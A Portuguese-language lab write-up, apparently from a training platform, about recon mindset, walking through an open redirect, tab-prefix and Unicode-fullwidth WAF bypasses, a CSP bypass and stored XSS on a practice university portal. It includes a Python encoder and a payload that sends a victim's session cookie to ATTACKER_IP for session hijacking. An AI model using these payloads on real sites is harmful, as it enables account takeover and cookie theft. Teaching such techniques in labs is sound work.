Recon e mentalidade ofensiva: A importância do pensamento crítico durante uma exploração.

Recon e mentalidade ofensiva: A importância do pensamento crítico durante uma exploração.

Recon sempre foi um assunto bastante debatido na comunidade de Cybersec, principalmente quando se trata de Bug Bounty, Pentest ou desafios de CTF's. É fato que se você pesquisar por recon na internet logo vai dá de cara com dezenas de pessoas falando sobre metodologias, listas de ferramentas, scripts automatizados , etc. Porém, o que vou trazer aqui é uma abordagem diferente, algo que muitos negligenciam durante o processo de recon.

Mesmo que você siga uma metodologia, ou rode um script automatizado só porque viu um guru no YouTube achando milhões de resultados, você ainda vai precisar da mentalidade para filtrar esse amontoado de informação.

O foco desse post será em cima de uma das máquinas de treinamento do HackingClub, a University. A parte web dessa máquina possui uma cadeia de vulnerabilidades bem interessante que nos ajudará a modelar essa linha de raciocínio que iremos explorar aqui.

Contexto antes de qualquer coisa

A primeira pergunta ao encontrar uma aplicação web não é "tem exploit?". É: "o que isso representa?"

No nosso caso: existe um portal universitário. E analisando com calma você percebe que consegue extrair muita informação antes mesmo de começar a executar qualquer ferramenta. Existe hierarquia de acesso entre alunos, professores e administradores. Existe comunicação entre usuários, conteúdo que um envia e outro lê. Existe upload de arquivos. Com isso voce já possui uma noção do contexto da aplicação, e de onde procurar por falhas.

O próximo passo não é abrir um fuzzer. É navegar como um usuário normal. Fuzzing tem seu lugar, mas ele é mais útil quando você já sabe o que está procurando. Jogar uma wordlist de 100k em cima de uma aplicação que você ainda não entende é só gerar ruído para processar depois (ainda mais se tiver um WAF por trás). Navegando primeiro, você filtra o que vale testar antes de automatizar qualquer coisa.

Quando você navega manualmente, está coletando informação de qualidade diferente de qualquer wordlist. Você aprende quais funcionalidades existem, qual é o fluxo esperado do sistema, quais parâmetros aparecem na URL e nos forms, como a aplicação se comporta com inputs válidos antes de testar inputs inválidos.

Navegando pela aplicação você vai encontrar um sistema de registro de usuários, significa que você controla um input em que são enviadas para o backend essas informações, e a partir daí você vai aprender como o sistema funciona por dentro através desse diálogo entre Requisição e Resposta.

Depois de ter criado uma conta e logado na aplicação, perceba nos detalhes da resposta as infos sobre CSP.

Geralmente quando é implementado um CSP é visando a proteção contra XSS, porém dependendo da forma como ele é configurado, é possível tirar proveito disso para encadear com outras vulnerabilidades.

O CSP desta aplicação permite script-src 'self': scripts só podem vir do próprio servidor. Então a pergunta não é "como burlo o CSP?". É: existe algum endpoint no próprio servidor que redireciona para fora? Porque o CSP não bloqueia redirecionamentos, só a origem do script. E vai ser aí que o Open Redirect irá entrar em cena. Voltando a analisar a aplicação vemos que ele possui um endpoint /next usado como sistema de rotas, e mais interessante ainda é o parâmetro usado:

Se ele redireciona para essas rotas de paginas, por que também não poderia redirecionar para uma url externa? esse é o questionamento básico a se fazer porque geralmente ele nos leva a um Open Redirect.

Testando com um domínio externo dá para notar que existe um WAF por trás bloqueando. Porém, e se houver uma maneira de bypassar (contornar) essas proteções?

Se você parar pra pesquisar verá que alguns WAFs baseados em pattern matching procuram strings específicas. E uma técnica que funciona bem contra este controle é do caractere "Tab" antes da URL: %09https://google.com (%09 é o Tab em URL encoding):

Com isso temos o Open Redirect confirmado, o CSP só aceita 'self'e 'self' agora pode redirecionar para onde você quiser, resultando no bypass do CSP. Mas ok, o que eu faço com isso agora? É claro que até aqui não tem nenhum impacto previsto, porém se você analisar a aplicação com calma perceberá que existe um sistema onde o aluno consegue enviar dúvidas para o professor, ou seja, se eu sei que ele verá minha mensagem, porque eu não poderia enviar um payload malicioso?

Explorando o comportamento da aplicação

Existe um usuário real (ou um bot) do lado de lá, lendo o que você escreve. Quando uma aplicação permite que você envie conteúdo que será renderizado no browser de outro usuário, o vetor de ataque é Cross-Site Scripting (XSS). Você não está atacando o servidor, está atacando o navegador da vítima usando o servidor como intermediário.

A primeira tentativa foi enviar um payload simples de XSS, porém não funcionou porque o WAF bloqueou:

Será que tem como saber qual o padrão que o WAF utiliza pra filtrar o que é enviado? Para isso precisamos enviar algumas requisições pra tentar entender melhor esse comportamento. Uma coisa que chamou a atenção foi ter enviado um atributo que existe e outro não:

Comparando as duas requisições dá para notar que as tags são a mesma, o único elemento diferente são os atributos, logo da pra chegar na conclusão que o WAF não está interpretando o HTML em si, está procurando por substrings conhecidas no corpo da requisição. E aqui abre o contexto lógico: se o problema é o charset dessas strings, por que não testar técnicas voltadas pra isso? E é aí que entra umas das técnicas mais insanas de bypass de WAF que já conheci: o Unicode fullwidth.

O Unicode fullwidth é um bloco de caracteres criado originalmente para compatibilidade com sistemas de escrita do leste asiático que usam caracteres de largura dupla. Para um humano olhando na tela, e < são indistinguíveis. Para o WAF fazendo matching de string, são codepoints completamente diferentes:

  • < ASCII (U+003C) -> Fullwidth (U+FF1C)
  • i ASCII (U+0069) -> Fullwidth (U+FF49)
  • m ASCII (U+006D) -> Fullwidth (U+FF4D)

O browser normaliza esses caracteres na hora de renderizar o HTML, então o payload é executado normalmente no browser alvo porque pra ele não há diferença. O WAF nunca viu aquele padrão antes. A questão não é que o WAF é ruim, é que ele foi construído pensando em ASCII e o Unicode fullwidth simplesmente não estava na lista dele.

Sabendo disso, então desenvolvi um script em Python que faz essa conversão de todos os caracteres do payload para enviar no formulário:

import urllib.parse

def convert_to_fullwidth_url(text):
    result = ""

    for char in text:
        cp = ord(char)

        if cp == 32:
            fullwidth_char = chr(0x3000)
        elif 33 <= cp <= 126:
            fullwidth_char = chr(cp + 0xFEE0)
        else:
            fullwidth_char = char

        encoded = urllib.parse.quote(fullwidth_char.encode('utf-8'))
        result += encoded

    return result

payload = '<img src=x onerror="window.location=\'http://127.0.0.1/next?redirect=%09http%3A%2F%2FATTACKER_IP/?=\'+document.cookie">'

final_result = convert_to_fullwidth_url(payload)

print(f"Original Payload: {payload}")
print(f"Encoded Payload:  {final_result}")

Perceba no script que criei uma variável contendo nosso payload que será responsável por capturar o cookie do professor assim que ele visualizar nossa mensagem:

Quando essa payload chegar no WAF, ele não vai compreender, porém o browser do alvo vai interpretar como HTML válido. Então, o administrator vai visualizar a payload e automaticamente será enviado o token para nosso servidor Python:

O PHPSESSID capturado é o token de sessão do professor. Com ele em mãos, basta abrir o storage do browser, substituir o cookie da sessão atual pelo token capturado, e recarregar a página:

O raciocínio por trás do ataque

Existe um padrão de raciocínio que aparece em cada uma dessas etapas que merece ser destacado, porque você não vai usar elas apenas nesse contexto, mas sim em todo alvo que encontrar em um teste real. São três perguntas, e elas aparecem nessa ordem:

Quem vai processar esse input? O servidor, o browser de outro usuário, uma API interna? Por exemplo, se você testar XSS num campo que vai para uma query SQL meio que não faz sentido porque você não vai ter a resposta disso em nenhum lugar. SQLi, XSS, SRRF etc... nascem de destinos diferentes, por isso a importância de entender como a aplicação funciona, assim você consegue inferir o que testar sem sair dando tiro no escuro.

O que muda se eu controlar esse valor? Esse parâmetro define para onde a requisição vai? É refletido no HTML? Vai para uma query? Isso determina o que testar.

O que está me impedindo, e como isso funciona? WAF bloqueou, como ele faz pattern matching? CSP bloqueou, o que ele permite? Cada bloqueio é uma informação sobre como o sistema foi construído. A resposta disso sempre irá abrir novas possibilidades de exploração.

Conclusão

Toda a cadeia que vimos aqui, Open Redirect, WAF bypass, CSP bypass, XSS, não veio de ferramenta nenhuma, ela existe como uma sequência de perguntas onde cada resposta abriu a próxima possibilidade.

É isso que mentalidade ofensiva significa na prática. Não é ter a metodologia mais elaborada ou rodar mais ferramentas. É você pensar como quem construiu o sistema e usar esse raciocínio pra tentar fazer ele se comportar de um jeito que não foi planejado; é daí que surgem as vulnerabilidades.

Essa mentalidade ofensiva você aprende nos conteúdos do Hacking Club, nos writeups, nos eventos, nas aulas e nos laboratórios práticos.